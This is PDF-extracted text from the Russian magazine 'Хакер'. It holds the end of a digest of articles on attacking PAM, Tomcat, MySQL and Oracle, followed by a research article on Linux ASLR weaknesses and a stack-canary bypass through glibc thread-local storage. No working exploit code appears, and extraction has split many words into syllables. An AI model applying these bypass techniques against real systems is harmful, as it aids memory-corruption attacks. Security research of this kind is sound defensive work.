СИСТЕМУ АУТЕНТИФИКАЦИИ LINUX, BSD И MACOS
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Пос ле того как задача про ник новения на машину была выпол нена, необ‐ 
ходимо как‐то на ней зак репить ся, не вызывая подоз рений. К при меру, соз‐ 
дать  новый  акка унт  или  инфи циро вать  жер тву  неким  бэк дором,  который,
как  вер ный слу га,  будет ждать от  хозя ина  команд на исполне ние. Нес мотря
на  то  что  *NIX‐сис темы  гораз до  безопас нее,  чем  дру гие  плат формы,  есть
очень прос той в реали зации и дос таточ но скрыт ный метод, о котором зна ют
на удив ление мало людей. Это модифи кация модулей сис темы аутен тифика‐ 
ции PAM, которую исполь зуют все сов ремен ные UNIX‐сис темы. В матери але
дана теория по PAM‐модулям, при мер С++ кода для написа ния собс твен ного
бэк дора и при емы встра ива ния его в легаль ные модули аутен тифика ции.

АТАКИ НА TOMCAT. ИЗУЧАЕМ РАСПРОСТРАНЕННЫЕ МЕТОДЫ
АТАК НА APACHE TOMCAT И СПОСОБЫ ПРОТИВОДЕЙСТВИЯ ИМ
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Apache  Tomcat  лидиру ет  по  количес тву  инстал ляций  на  сер веры  и  рас‐ 
простра нению в мире. Он занима ет шес тую строч ку по популяр ности сре ди
веб‐сер веров  в  рей тин ге  W3Techs,  что,  конеч но  же,  авто мати чес ки  дела ет
его прив лекатель ной мишенью для зло умыш ленни ков. Дефол тные нас трой ки
не  поз воля ют  про тивос тоять  рас простра нен ным  методам  атак,  поэто му
в матери але при веде ны кон крет ные рецеп ты и рекомен дации, исполь зуемые
как для тес тирова ния на воз можность взло ма, так и для про тиво дей ствия зло‐ 
умыш ленни кам, покусив шимся на твою свя тыню.

ИГРАЕМ МУСКУЛАМИ. МЕТОДЫ И СРЕДСТВА ВЗЛОМА БАЗ
ДАННЫХ MYSQL
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Не сек рет, что MySQL — одна из самых рас простра нен ных СУБД. Ее мож‐ 
но встре тить пов сюду, имен но поэто му безопас ность базы дан ных очень важ‐ 
на: если зло умыш ленник получил дос туп к базе, то высок риск, что не толь ко
уйдет вся инфа, но и взлом щик положит весь ресурс. В нас тоящем матери але
акту аль ная информа ция по алго рит му взло ма и пос тэкс плу ата ции MySQL, все
наибо лее час то исполь зуемые трю ки и при емы, в том чис ле из арсе нала пен‐ 
тесте ров. Про читав его,  кто‐то еще раз пов торит  теорию, а  кто‐то и почер‐ 
пнет что‐то новое. Так что дер зай!

АТАКА НА ОРАКУЛА. ПОДРОБНЫЙ ГАЙД ПО ВЕКТОРАМ АТАК НА
ORACLE DB

 или Чи тать ска чать PDF

Сто ит  ли  говорить,  что  Oracle  —  это  топовая  и  широко  исполь зуемая
СУБД? В ее нед рах кру тят ся все самые цен ные дан ные от финан совых тран‐ 
закций  до  резуль татов  воен ных  экспе римен тов  или  модели рова ния  кос‐ 
мичес ких объ ектов. Как и ее млад ший брат MySQL, эта СУБД — нас тоящий
лакомый  кусок  для  хакера,  да  и  любой  пен тестер  не  обой дет  ее  сто роной.
В статье при веде ны самые важ ные и наибо лее типовые век торы атак на таб‐ 
лицы и прог рам мный код баз дан ных Oracle — взло мы учет ных записей поль‐ 
зовате лей,  выпол нение  про изволь ного  кода,  инжекты  в  зап росы,  баги  пла‐ 
ниров щика и мно гое дру гое. Все раз делы снаб жены наг лядны ми иллюс тра‐ 
циями  и  при мера ми  кода.  Так  что,  если  ты  занима ешь ся  пен теста ми  и/или
инте ресу ешь ся внут ренним устрой ством Oracle, откры вай обя затель но.

ИНЪЕКЦИИ ВСЛЕПУЮ. ЭКЗОТИЧЕСКОЕ ИНЖЕКТИРОВАНИЕ
ГРУБЫМ МЕТОДОМ

Ска чать PDF

Ис сле дуя тему безопас ности СУБД, нат кнул ся на ста рень кий, но инте рес‐ 
ный матери ал по исполь зованию инжектов в SQL‐зап росы. В матери але опи‐ 
саны  фиш ки,  которые  могут  ког да‐нибудь  тебе  при годить ся  на  прак тике.
В самом начале статьи рас смат рива ются необ ходимые теоре тичес кие осно‐ 
вы SQL, такие как фун кции и струк тура зап росов, далее иллюс три руют ся трю‐ 
ки исполь зования с NULL, пред запро сов для выяв ления потен циаль ных дыр,
INSERT’ные  трю ки,  и  при водит ся  общий  при мер  исполь зования  все го  опи‐ 
сан ного  арсе нала. Нат рениро вав шись  на  учеб ной БД  с  помощью  этих  при‐ 
емов,  ты  уже  уве рен но можешь  при нимать ся  за  тес тирова ние  реаль ной БД
прак тичес ки на авто мате, то есть, как ска зано в заголов ке статьи, всле пую!

ЗАКЛЮЧЕНИЕ
На ша сегод няшняя под борка на этом под ходит к кон цу. Мы пос тарались соб‐ 
рать для тебя самые инте рес ные и прак тичес ки зна чимые статьи из прош лых
выпус ков «Хакера» на тему взло ма. Статья получи лась огромной, но все отоб‐ 
ранные для нее пуб ликации — лишь кап ля в море инте рес ного ИБ‐кон тента.
Если ты най дешь что‐то занят ное и реаль но полез ное — не забывай делить ся
в ком ментах!
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ВЗЛОМ

За  вре мя  сущес тво вания  ядра  Linux  в  нем
появи лось  мно жес тво  механиз мов  защиты
от  экс плу ата ции  уяз вимос тей,  которые
могут  обна ружить ся  как  в  самом  ядре,  так
и в при ложе ниях поль зовате лей. Это, в час‐ 
тнос ти,  механиз мы  ASLR  и  stack  canary,
про тиво дей ству ющие  экс плу ата ции  уяз‐ 
вимос тей  в  при ложе ниях.  В  дан ной  статье
мы  вни матель но  рас смот рим  реали зацию
ASLR  в  ядре  текущей  вер сии  (4.15‐rc1)
и  проб лемы,  поз воля ющие  час тично
или пол ностью обой ти эту защиту.

Вмес те с опи сани ем проб лем мы пред ложили ряд исправ лений и раз работа‐ 
ли  спе циаль ную  ути литу,  поз воля ющую  про демонс три ровать  най ден ные
недос татки.  Ана лизи руя механизм  реали зации ASLR, мы  так же  про ана лизи‐ 
рова ли  часть  биб лиоте ки  GNU  Libc  (glibc)  и  наш ли  серь езные  проб лемы
с реали заци ей stack canary. Уда лось обой ти защиту stack canary и запус тить
про изволь ный код через ути литу ldd.

Все  проб лемы  рас смат рива ются  в  кон тек сте  архи тек туры  x86‐64,  хотя
для  боль шинс тва  архи тек тур,  под держи ваемых  ядром  Linux,  они  так же  акту‐ 
аль ны.

Илья Смит, выс тупая от лица ком пании  , 
  по  этой  теме  на  кон ферен ции  OffensiveCon,  которая  прош ла  16  фев‐ 

раля  2018  года.  На  сай те  кон ферен ции  мож но  озна комить ся  и  с 
.

Positive Technologies пред ста вил док‐ 
лад

дру гими
бри фами выс тупле ний

ASLR1. 
ASLR  (address  space  layout  randomization)  —  это  тех нология,  соз данная
для  усложне ния  экс плу ата ции  некото рого  клас са  уяз вимос тей,  при меня ется
в нес коль ких сов ремен ных опе раци онных сис темах. Основной прин цип дан‐ 
ной  тех нологии  зак люча ется  в  устра нении  заведо мо  извес тных  ата кующе му
адре сов  адресно го  прос транс тва  про цес са.  В  час тнос ти,  адре сов,  необ‐ 
ходимых для того, что бы:

пе редать управле ние на исполня емый код;•
пос тро ить цепоч ку ROP‐гад жетов ( );• Return Oriented Programming
про читать (переза писать) важ ные зна чения в памяти.•

Впер вые тех нология была реали зова на для Linux в 2005 году. В Microsoft Win‐
dows и Mac OS реали зация появи лась в 2007 году. Хорошее опи сание реали‐ 
зации ASLR в Linux дает ся в  .статье

За  вре мя  сущес тво вания  ASLR  были  соз даны  раз ные  методи ки  обхо да
этой тех нологии, сре ди которых мож но выделить сле дующие типы:

«утеч ки  адре сов»  —  некото рые  уяз вимос ти  поз воля ют  зло умыш ленни ку
получать необ ходимые для ата ки адре са, что и дает воз можность обхо дить
ASLR  (

);

•

Reed  Hastings,  Bob  Joyce.  Purify:  Fast  Detection  of  Memory  Leaks
and Access Errors
от носитель ная адре сация — некото рые уяз вимос ти поз воля ют зло умыш‐ 
ленни ку  получать  дос туп  к  дан ным  отно ситель но  какого‐то  адре са  и  за
счет  это го  обхо дить  ASLR  (

);

•

Improper  Restriction  of  Operations  within
the Bounds of a Memory Buffer
сла бос ти реали зации — некото рые уяз вимос ти поз воля ют зло умыш ленни‐ 
ку  уга дать  необ ходимые  адре са  из‐за  малой  энтро пии  или  свой ств  кон‐ 
крет ной реали зации ASLR  (

);

•

AMD Bulldozer Linux ASLR weakness: Reducing
entropy by 87.5%
по боч ные  эффекты  работы  аппа рату ры —  осо бен ности  работы  про цес‐ 
сора, поз воля ющие обой ти ASLR (

).

•
Dmitry Evtyushkin, Dmitry Ponomarev, Nael

Abu‐Ghazaleh. Jump Over ASLR: Attacking Branch Predictors to Bypass ASLR

Сто ит отме тить, что в раз ных ОС реали зации ASLR очень силь но раз лича ются
и  раз вива ются.  Пос ледние  изме нения  свя заны  с  работой  ,  пред‐ 
став ленной в 2014 году. В ней были рас кры ты сла бос ти реали зации, поз воля‐ 
ющие обхо дить ASLR из‐за близ кого рас положе ния всех биб лиотек к обра зу
бинар ного  ELF‐фай ла  прог раммы.  В  качес тве  решения  было  пред ложено
выделить  образ  ELF‐фай ла  при ложе ния  в  отдель ный  слу чай ным  обра зом
выделен ный реги он.

Offset2lib

В  апре ле  2016  года  соз датели  Offset2lib  рас кри тико вали  так же  текущую
реали зацию, выделив недос таточ ную энтро пию при выборе адре са реги она
в работе  . Одна ко с тех пор патч не был опуб ликован.ASLR‐NG

Рас смот рим резуль тат работы ASLR в Linux на текущий момент.

ASLR В LINUX2. 
Для  пер воначаль ного  опы та  возь мем Ubuntu  16.04.3  LTS  (GNU/Linux  4.10.0‐
40‐generic  x86_64)  с  уста нов ленны ми  пос ледни ми  на  текущий  момент
обновле ниями.  Резуль тат  не  силь но  будет  зависеть  от  дис три бути ва  Linux
и  вер сии  ядра  начиная  с  3.18‐rc7.  Если  выпол нить 
в коман дной стро ке Linux, мож но уви деть при мер но сле дующее.

less  /proc/self/maps

На при мере вид но:
ба зовый адрес бинар ного при ложе ния (в нашем слу чае  ) выб‐ 
ран как  ;

• /bin/less

5627a82bf000

ад рес начала кучи ( ) выб ран как  , что есть адрес кон‐ 
ца бинар ного при ложе ния плюс некото рое слу чай ное зна чение, в нашем
слу чае  рав ное    (   –  ).  Адрес

выров нен на 2  из‐за архи тек турных осо бен ностей x86‐64;

• heap 5627aa2d4000

1de7000 5627aa2d4000 5627a84ed000
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ад рес    выб ран  как  ,  этот  адрес  будет  мак‐ 
сималь но воз можной стар шей гра ницей при выборе «слу чай ного» адре са
для любого выделе ния памяти с помощью сис темно го вызова  ;

• 7f3631293000 mmap_base

mmap
биб лиоте ки  ,  ,    рас‐ 
положе ны под ряд.

• ld2.23.so libtinfo.so.5.9 libc2.23.so

Ес ли  при менить  вычита ние  к  сосед ним  реги онам  памяти,  мож но  заметить:
сущес твен на  раз ница  меж ду  бинар ным  фай лом,  кучей,  сте ком  и  млад шим
адре сом local‐archive и стар шим адре сом ld. Меж ду заг ружен ными биб лиоте‐ 
ками (фай лами) нет ни одной сво бод ной стра ницы.

Ес ли пов торить про цеду ру мно го раз, кар тина силь но не изме нит ся: раз‐ 
ность меж ду стра ница ми будет отли чать ся, одна ко биб лиоте ки и фай лы будут
оди нако во рас положе ны друг отно ситель но дру га. Этот факт и стал опор ной
точ кой для дан ной статьи.

ПОЧЕМУ ЭТО ТАК3. 
Рас смот рим, как работа ет механизм выделе ния вир туаль ной памяти про цес‐ 
са. Вся логика находит ся в фун кции ядра  , реали зующей выделе ние
памяти  как  со  сто роны  поль зовате ля  (syscall  ),  так  и  со  сто роны  ядра
(при выпол нении  ). Она раз деля ется на два дей ствия — сна чала выбор
сво бод ного  под ходяще го  адре са  ( ),  потом  отоб ражение
стра ниц  на  выб ранный  адрес  ( ).  Нам  будет  инте ресен  пер вый
этап.

do_mmap
mmap

execve
get_unmapped_area

mmap_region

В выборе адре са воз можны вари анты:
1. Ес ли  выс тавлен  флаг  ,  то  в  качес тве  адре са  вер нется  зна‐ 
чение аргу мен та  .

MAP_FIXED

addr
2. Ес ли зна чение аргу мен та   отлично от нуля, оно исполь зует ся как «под‐ 
сказ ка», и в некото рых слу чаях будет выб рано имен но это зна чение.

addr

3. В качес тве адре са будет выб ран наиболь ший адрес сво бод ного реги она,
под ходящий  по  дли не  и  лежащий  в  допус тимом  диапа зоне  выбира емых
адре сов.

4. Ад рес про веря ется на огра ниче ния, свя зан ные с безопас ностью (к это му
вер немся поз днее, раз дел 7.3).

Ес ли  все  прош ло  успешно,  по  выб ранно му  адре су  будет  выделен  необ‐ 
ходимый реги он памяти.

Де тали алго рит ма выбора адре са
В  осно ве  менед жера  вир туаль ной  памяти  про цес са  лежит  струк тура

 (далее прос то  ):vm_area_struct vma

struct vm_area_struct {
   unsigned long vm_start; /* Our start address within vm_mm. */
   unsigned long vm_end; /* The first byte after our end address 
within vm_mm. */
   ...
   /* linked list of VM areas per task, sorted by address */
   struct vm_area_struct *vm_next, *vm_prev;
   struct rb_node vm_rb;
   ...
   pgprot_t vm_page_prot; /* Access permissions of this VMA. */
   ...
};

Эта струк тура опи сыва ет начало реги она вир туаль ной памяти, конец реги она
и фла ги дос тупа к вхо дящим в реги он стра ницам.

 орга низо ваны в двус вязный спи сок ( ) по воз раста нию
адре сов  начала  реги она.  И  в  рас ширен ное  крас но‐чер ное  дерево  (

),
так же по воз раста нию адре сов начала реги она. Хорошее обос нование это му
решению дает ся  самими раз работ чиками ядра  (

).

Vma Doubly linked list
Bayer,

Rudolf.  Symmetric  binary  B‐Trees:  Data  structure  and  maintenance  algorithms

Lespinasse, Michel. Mm:  use
augmented rbtrees for finding unmapped areas

При мер двус вязно го спис ка vma в поряд ке воз раста ния адре сов

Рас ширени ем крас но‐чер ного дерева явля ется величи на сво бод ной памяти
для рас смат рива емо го узла. Величи на сво бод ной памяти узла опре деля ется
как мак симум:

из  раз ности меж ду  началом  текущей    и  кон цом  ее  пред шес твен ника
в двус вязном спис ке по воз раста нию;

• vma

ве личи ны сво бод ной памяти левого под дерева;•
ве личи ны сво бод ной памяти пра вого под дерева.•

Выб ранная струк тура поз воля ет быс тро (за O(log n)) находить  , соот ветс‐ 
тву ющий иско мому адре су, или выбирать сво бод ный диапа зон опре делен ной
дли ны.

vma

При  выборе  адре са  вво дят ся  так же  две  важ ные  гра ницы — минималь но
воз можное  ниж нее  зна чение  и  мак сималь но  воз можное  вер хнее.  Ниж нее
опре деля ется  архи тек турой  как  минималь ный  допус тимый  адрес  или  как
минималь ное  раз решен ное  адми нис тра тором  сис темы.  Вер хнее  —

 —  выбира ется  как  ,  где   —  это  выб ранный
мак сималь ный  адрес  сте ка,    —  некото рое  слу чай ное  зна чение
с энтро пией от 28 до 32 бит в зависи мос ти от соот ветс тву ющих парамет ров
ядра.  Ядро  Linux  не  может  выб рать  адрес  выше  .  В  адресном
прос транс тве  про цес са  адре са,  пре выша ющие  ,  либо  соот ветс‐ 
тву ют  сте ку  и  спе циаль ным  сис темным  реги онам  —  vvar  и  vdso,  либо
не  исполь зуют ся  никог да,  если  толь ко  не  будут  явно  выделе ны  с  фла гом

.

mmap_base stack  –  random stack
random

mmap_base
mmap_base

MMAP_FIXED

При мер рас ширен ного крас но‐чер ного дерева vma

Во  всей  схе ме  неиз вес тны  адрес  начала  сте ка  глав ного  потока,  базовый
адрес  заг рузки  бинар ного  фай ла  при ложе ния,  началь ный  адрес  кучи  при‐ 
ложе ния  и    —  стар товый  адрес  выделе ния  памяти  с  помощью

.
mmap_base

mmap

ПОЧЕМУ ЭТО ПЛОХО4. 
Мож но обоз начить нес коль ко проб лем, которые сле дуют из опи сан ного алго‐ 
рит ма выделе ния памяти.

Близ кое рас положе ние памяти4.1. 
Во вре мя работы при ложе ние исполь зует вир туаль ную опе ратив ную память.
Рас простра нен ные при меры исполь зования при ложе нием памяти — это куча,
код и дан ные (.rodata, .bss) заг ружен ных модулей, сте ки потоков, под гру жен‐ 
ные  фай лы.  Любая  ошиб ка  обра бот ки  дан ных,  лежащих  в  этих  стра ницах,
может зат ронуть и близ лежащие дан ные. Чем боль ше раз нород ных стра ниц
находят ся  рядом,  тем  боль ше  повер хность  ата ки  и  выше  веро ятность
успешной экс плу ата ции.

При меры  таких  оши бок —  ошиб ки  с  обра бот кой  гра ниц  ( ),
перепол нения  целочис ленные  ( )  или  буфера
( ),  ошиб ки  обра бот ки  типов  (

).

out‐of‐bounds
Integer  Overflow  or  Wraparound

Classic  Buffer Overflow Incorrect  Type  Conversion
or Cast

Час тный слу чай этой проб лемы — уяз вимость для Offset2lib‐ата ки. Вкрат‐ 
це:  проб лема  зак лючалась  в  том,  что  базовый  адрес  заг рузки  прог раммы
не  выделял ся  отдель но  от  биб лиотек,  а  выбирал ся  ядром  как  .
Если в при ложе нии была уяз вимость, экс плу ата ция упро щалась близ ким рас‐ 
положе нием обра зов заг ружен ных биб лиотек к обра зу заг ружен ного бинар‐ 
ного при ложе ния.

mmap_base

Очень  хорошим  при мером,  демонс три рующим  дан ную  проб лему,  была
уяз вимость в PHP ( ), поз воля ющая читать или изме нять сосед‐ 
ние реги оны памяти.

CVE‐2014‐9427

В раз деле 5 будет нес коль ко при меров.

Де тер миниро ван ный метод заг рузки биб лиотек4.2. 
Ди нами чес кие  биб лиоте ки  в  ОС  Linux  заг ружа ются  поч ти  пол ностью
без  обра щения  к  ядру  Linux.  За  это  отве чает  биб лиоте ка  ld  (из  GNU  Libc).
Единс твен ное учас тие ядра — через фун кцию mmap (open/stat и про чие фай‐ 
ловые опе рации мы пока не учи тыва ем): это нуж но для заг рузки кода и дан ных
биб лиоте ки  в  адресное  прос транс тво  про цес са.  Исклю чение  сос тавля ет
сама  биб лиоте ка  ld,  которая  обыч но  про писа на  в  исполня емом  ELF‐фай ле
прог раммы  как  интер пре татор  для  заг рузки  фай ла.  Сам  же  интер пре татор
гру зит ся ядром.

Итак, если в качес тве интер пре тато ра исполь зует ся ld из GNU Libc, то про‐ 
исхо дит заг рузка биб лиотек при мер но сле дующим обра зом:
1. В оче редь обра баты ваемых фай лов добав ляет ся ELF‐файл прог раммы.
2. Из оче реди обра баты ваемых фай лов изы мает ся пер вый ELF‐файл (FIFO).
3. Ес ли файл  еще не  заг ружен  в  адресное  прос транс тво  про цес са,  он  гру‐ 
зит ся при помощи mmap.

4. Каж дая  необ ходимая  биб лиоте ка  для  рас смат рива емо го  фай ла  добав‐ 
ляет ся в оче редь обра баты ваемых фай лов.

5. По ка оче редь не пус та — сле дует пов торять пункт 2.

Из это го алго рит ма сле дует, что порядок заг рузки всег да опре делен и может
быть  пов торен,  если  извес тны  все  необ ходимые  биб лиоте ки  (их  бинар ные
фай лы). Это поз воля ет вос ста новить адре са всех биб лиотек, если известен
адрес хотя бы одной из них:
1. До пус тим, известен адрес биб лиоте ки libc.
2. До бавим дли ну биб лиоте ки  libc к адре су заг рузки  libc — и получим адрес
заг рузки биб лиоте ки, заг ружен ной до libc.

3. Про дол жив  вычис ления  подоб ным  обра зом,  получим  зна чения
mmap_base и адре са биб лиотек, заг ружен ных до libc.

4. Выч тем из адре са libc дли ну биб лиоте ки, заг ружен ной пос ле libc. Получим
адрес биб лиоте ки, заг ружен ной пос ле libc.

5. Про дол жив  вычис ления  подоб ным  обра зом,  получим  адре са  всех  биб‐ 
лиотек, заг ружен ных при стар те прог раммы с помощью интер пре тато ра ld.

Ес ли  биб лиоте ка  была  заг ружена  во  вре мя  работы  прог раммы  (нап ример,
с  помощью фун кции  dlopen),  ее  положе ние  отно ситель но  дру гих  биб лиотек
может  быть  неиз вес тным  зло умыш ленни ку  в  некото рых  слу чаях.  Нап ример,
если  были  вызовы  mmap  с  неиз вес тны ми  зло умыш ленни ку  раз мерами
выделя емых реги онов памяти.

При  экс плу ата ции  уяз вимос тей  зна ние  адре сов  биб лиотек  очень  силь но
помога ет, нап ример в поис ке «гад жетов» при пос тро ении ROP‐цепочек. Кро‐ 
ме  того,  любая  уяз вимость  в  любой  из  биб лиотек,  поз воля ющая  читать
(писать) зна чения отно ситель но адре са этой биб лиоте ки, будет лег ко про экс‐ 
плу ати рова на из‐за того, что биб лиоте ки идут друг за дру гом.

Боль шинс тво  дис три бути вов  Linux  содер жат  ском пилиро ван ные  пакеты
с  наибо лее  рас простра нен ными  биб лиоте ками  (нап ример,  libc).  Бла года ря
это му мож но узнать дли ну биб лиотек и пос тро ить часть кар тины рас пре деле‐ 
ния вир туаль ного адресно го прос транс тва про цес са в опи сан ном выше слу‐ 
чае.

Те оре тичес ки мож но пос тро ить боль шую базу, нап ример для дис три бути‐ 
ва Ubuntu, содер жащую вер сии биб лиотек ld, libc, libpthread, libm и так далее,
при чем для каж дой вер сии одной из биб лиотек мож но опре делить мно жес тво
вер сий биб лиотек, для нее необ ходимых (зависи мос ти). Таким обра зом мож‐ 
но  пос тро ить  воз можные  вари анты  карт  рас пре деле ния  час ти  адресно го
прос транс тва про цес са при извес тном адре се одной из биб лиотек.

При мера ми подоб ных баз слу жат базы   и  , исполь‐ 
зуемые для опре деле ния вер сий libc по сме щени ям до извес тных фун кций.

libcdb.com libc.blukat.me

Из  все го  опи сан ного  сле дует,  что  детер миниро ван ный  порядок  заг рузки
биб лиотек  пред став ляет  собой проб лему безопас ности при ложе ний,  и  зна‐ 
чение ее уве личи вает ся вмес те с опи сан ным ранее поведе нием mmap. В ОС
Android эта проб лема исправ лена с 7‐й вер сии (

,  ).
Security Enhancements in An‐

droid 7.0 Implement Library Load Order Randomization

Де тер миниро ван ный порядок выпол нения4.3. 
Рас смот рим сле дующее свой ство прог рамм: сущес тву ет пара опре делен ных
точек  в  потоке  выпол нения  прог раммы,  меж ду  которы ми  сос тояние  прог‐ 
раммы  в  инте ресу ющих  нас  дан ных  опре деле но.  Нап ример,  ког да  кли ент
соеди няет ся с сетевым сер висом, пос ледний выделя ет для  кли ента некото‐ 
рые ресур сы. Часть этих ресур сов может быть выделе на из кучи при ложе ния.
При этом вза имное рас положе ние объ ектов на куче опре деле но в боль шинс‐ 
тве слу чаев.

Это свой ство исполь зует ся во вре мя экс плу ата ции при ложе ний при пос‐ 
тро ении необ ходимо го сос тояния прог раммы. Назовем его детер миниро ван‐ 
ным поряд ком выпол нения.

Час тный  слу чай  это го  свой ства  есть  некото рая  опре делен ная  точ ка
в потоке выпол нения прог раммы, сос тояние которой (точ ки) с начала выпол‐ 
нения прог раммы, от запус ка к запус ку, иден тично за исклю чени ем отдель ных
перемен ных. Нап ример, до выпол нения фун кции   прог раммы интер пре‐ 
татор  ld дол жен  заг рузить и ини циали зиро вать  все биб лиоте ки и  выпол нить
ини циали зацию  прог раммы.  Рас положе ние  биб лиотек  друг  отно ситель но
дру га,  как было отме чено в раз деле 4.2, будет всег да оди нако вым. Отли чия
на  момент  выпол нения  фун кции    будут  в  кон крет ных  адре сах  заг рузки
прог раммы, биб лиотек,  сте ка,  кучи и  выделен ных  к  это му момен ту  в  памяти
объ ектов. Раз личия обус ловле ны ран домиза цией, опи сан ной в раз деле 6.

main

main

Бла года ря  это му  свой ству  зло умыш ленник  может  получить  информа цию
о  вза имном  рас положе нии  дан ных  прог раммы. Это  рас положе ние  не  будет
зависеть от ран домиза ции адресно го прос транс тва про цес са.

Единс твен ная воз можная на этом эта пе энтро пия может быть обус ловле на
кон курен цией  потоков:  если  прог рамма  соз даст  нес коль ко  потоков,  их  кон‐ 
курен ция  при  работе  с  дан ными  может  вно сить  энтро пию  в  рас положе ние
объ ектов.  В  рас смат рива емом  при мере  соз дание  потоков  до  выпол нения

 воз можно из гло баль ных конс трук торов прог раммы или необ ходимых ей
биб лиотек.
main

Ког да прог рамма нач нет исполь зовать кучу и выделять память в ней (обыч‐ 
но с помощью new/malloc), рас положе ние объ ектов в куче друг отно ситель но
дру га  так же  до  опре делен ного  момен та  будет  пос тоян ным  для  каж дого
запус ка.

В  некото рых  слу чаях  рас положе ние  сте ков  потоков  и  куч,  соз данных
для них, будет так же пред ска зуемо отно ситель но адре сов биб лиотек.

При  необ ходимос ти  мож но  получить  эти  сме щения,  что бы  исполь зовать
при  экс плу ата ции.  Нап ример,  выпол нив    для  дан ного  при‐ 
ложе ния два раза и срав нив раз ницу в адре сах.

strace  ‐e  mmap

Дыр ки4.4. 
Ес ли при ложе ние пос ле выделе ния памяти через   осво бож дает некото‐ 
рую ее часть, могут появ лять ся «дыр ки» — сво бод ные реги оны памяти, окру‐ 
жен ные  заняты ми  реги она ми.  Проб лемы могут  воз никнуть,  если  эта  память
(дыр ка) будет сно ва выделе на для уяз вимого объ екта (объ екта, при обра бот‐ 
ке которо го в при ложе нии есть уяз вимость). Это сно ва при водит к проб леме
близ кого рас положе ния объ ектов в памяти.

mmap

Хо роший  при мер  соз дания  таких  дырок  был  обна ружен  в  коде  заг рузки
ELF‐фай ла в ядре Linux. Во вре мя заг рузки ELF‐фай ла ядро сна чала счи тыва‐ 
ет пол ный раз мер заг ружа емо го фай ла и пыта ется отоб разить файл целиком
с помощью  . Пос ле  успешной  заг рузки фай ла  целиком  вся  память
пос ле пер вого сег мента осво бож дает ся. Все сле дующие сег менты заг ружа‐ 
ются  по  фик сирован ному  адре су  ( ),  получен ному  отно ситель но
пер вого  сег мента.  Это  нуж но  для  того,  что бы  мож но  было  заг рузить  весь
файл по выб ранно му адре су и раз делить сег менты по пра вам и сме щени ям
в соот ветс твии с их опи сани ями в ELF‐фай ле. Такой под ход поз воля ет порож‐ 
дать  дыр ки  в  памяти,  если  они  были  опре деле ны  в  ELF‐фай ле  меж ду  сег‐ 
мента ми.

do_mmap

MAP_FIXED

При заг рузке же ELF‐фай ла интер пре тато ром  ld  (GNU Libc) — в такой же
ситу ации — не  вызыва ет  ,  а  меня ет  раз решения  на  сво бод ные  стра‐ 
ницы (дыр ки) на  , обес печивая тем самым зап рет дос тупа про‐ 
цес са к этим стра ницам. Этот под ход более безопас ный.

unmap
PROT_NONE

Для  устра нения  проб лемы  заг рузки  ELF‐фай ла,  содер жащего  дыр ки,
ядром  Linux  был  пред ложен  патч,  реали зующий  логику  как  в  ld  из GNU  Libc
(см. раз дел 7.1).

TLS и стек потока4.5. 
TLS  (Thread  Local  Storage)  —  это  механизм,  с  помощью  которо го  каж дый
поток  в  мно гопо точ ном  про цес се  может  выделять  рас положе ния  для  хра‐ 
нения дан ных ( ). Реали зация это го механиз ма раз лична
для раз ных архи тек тур и опе раци онных сис тем, в нашем же слу чае это реали‐ 
зация glibc под x86‐64. Для x86 раз ница будет несущес твен ная для рас смат‐ 
рива емой проб лемати ки mmap.

Thread‐Local Storage

В  слу чае  с  glibc  для  соз дания  TLS  потока  так же  исполь зует ся  .
Это  озна чает,  что  TLS  потока  выбира ется  уже  опи сан ным  обра зом  и  при
близ ком рас положе нии к уяз вимому объ екту может быть изме нен.

mmap

Чем  инте ресен  TLS?  В  реали зации  glibc  на  TLS  ука зыва ет  сег мен тный
регистр    (для  архи тек туры  x86‐64).  Его  струк туру  опи сыва ет  тип  ,
опре делен ный в исходных фай лах glibc:

fs tcbhead_t

typedef struct
{
 void *tcb;          /* Pointer to the TCB.  Not necessarily the
                        thread descriptor used by libpthread.  */
 dtv_t *dtv;
 void *self;         /* Pointer to the thread descriptor.  */
 int multiple_threads;
 int gscope_flag;
 uintptr_t sysinfo;
 uintptr_t stack_guard;
 uintptr_t pointer_guard;
 ...

} tcbhead_t;

Этот  тип  содер жит  поле  ,  хра нящее  так  называ емую  «канарей‐ 
ку»  —  некото рое  слу чай ное  (или  псев дослу чай ное)  чис ло,  поз воля ющее
защищать при ложе ние от перепол нений буфера на сте ке (

).

stack_guard

One, Aleph. Smash‐
ing The Stack For Fun And Profit

За щита работа ет сле дующим обра зом: при вхо де в фун кцию на стек кла‐ 
дет ся  «канарей ка»,  которая  берет ся  из  .  В  кон це фун‐ 
кции зна чение на сте ке срав нива ется с эта лон ным зна чени ем в 

, и, если оно не сов пада ет, при ложе ние будет завер шено с ошиб‐ 
кой.

tcbhead_t.stack_guard
tcbhead_t.s‐

tack_guard

Из вес тны сле дующие методы обхо да:
ес ли  зло умыш ленни ку  необя затель но  переза писы вать  это  зна чение
( );

•
Fritsch, Hagen. Buffer overflows on linux‐x86‐64
ес ли  зло умыш ленни ку  удас тся  про читать  или  пре дуга дать  это  зна чение,
у него появит ся воз можность успешно про вес ти ата ку (там же);

•

ес ли зло умыш ленник может переза писать это зна чение на извес тное, он
так же  получит  воз можность  успешно  про вес ти  ата ку  перепол нения
буфера на сте ке (там же);

•

ес ли зло умыш ленник может перех ватить управле ние до того, как при ложе‐ 
ние  будет  завер шено  (

).

•
Litchfield,  David.  Defeating  the  Stack  Based  Buffer

Overflow Prevention

Из опи сан ного сле дует важ ность защиты TLS от чте ния или переза писи зло‐ 
умыш ленни ком.

Во  вре мя  дан ного  иссле дова ния  была  обна руже на  проб лема  в  реали‐ 
зации  TLS  у  glibc  для  потоков,  соз данных  с  помощью  .
Для нового потока необ ходимо выб рать TLS. Glibc пос ле выделе ния памяти
под стек ини циали зиру ет TLS в стар ших адре сах этой памяти. В рас смат рива‐ 
емой архи тек туре x86‐64 стек рас тет вниз, а зна чит, TLS ока зыва ется в вер‐ 
шине  сте ка.  Отсту пив  некото рое  кон стантное  зна чение  от  TLS,  мы  получим
зна чение,  исполь зуемое  новым  потоком  для  регис тра  сте ка.  Рас сто яние
от  TLS  до  стек  фрей ма  фун кции,  передан ной  аргу мен том  в  ,
мень ше  одной  стра ницы.  Зло умыш ленни ку  уже  необя затель но  уга дывать
или «под гля дывать» зна чение «канарей ки», он поп росту может переза писать
эта лон ное зна чение вмес те со зна чени ем в сте ке и обой ти эту  защиту пол‐ 
ностью. Подоб ная проб лема была най дена в  Intel ME (

).

pthread_create

pthread_create

Maxim Goryachy, Mark
Ermolov. HOW TO HACK A TURNED‐OFF COMPUTER, OR RUNNING

Malloc и mmap4.6. 
При  исполь зовании    в  некото рых  слу чаях  glibc  при меня ет 
для выделе ния новых учас тков памяти — если раз мер зап рашива емой памяти
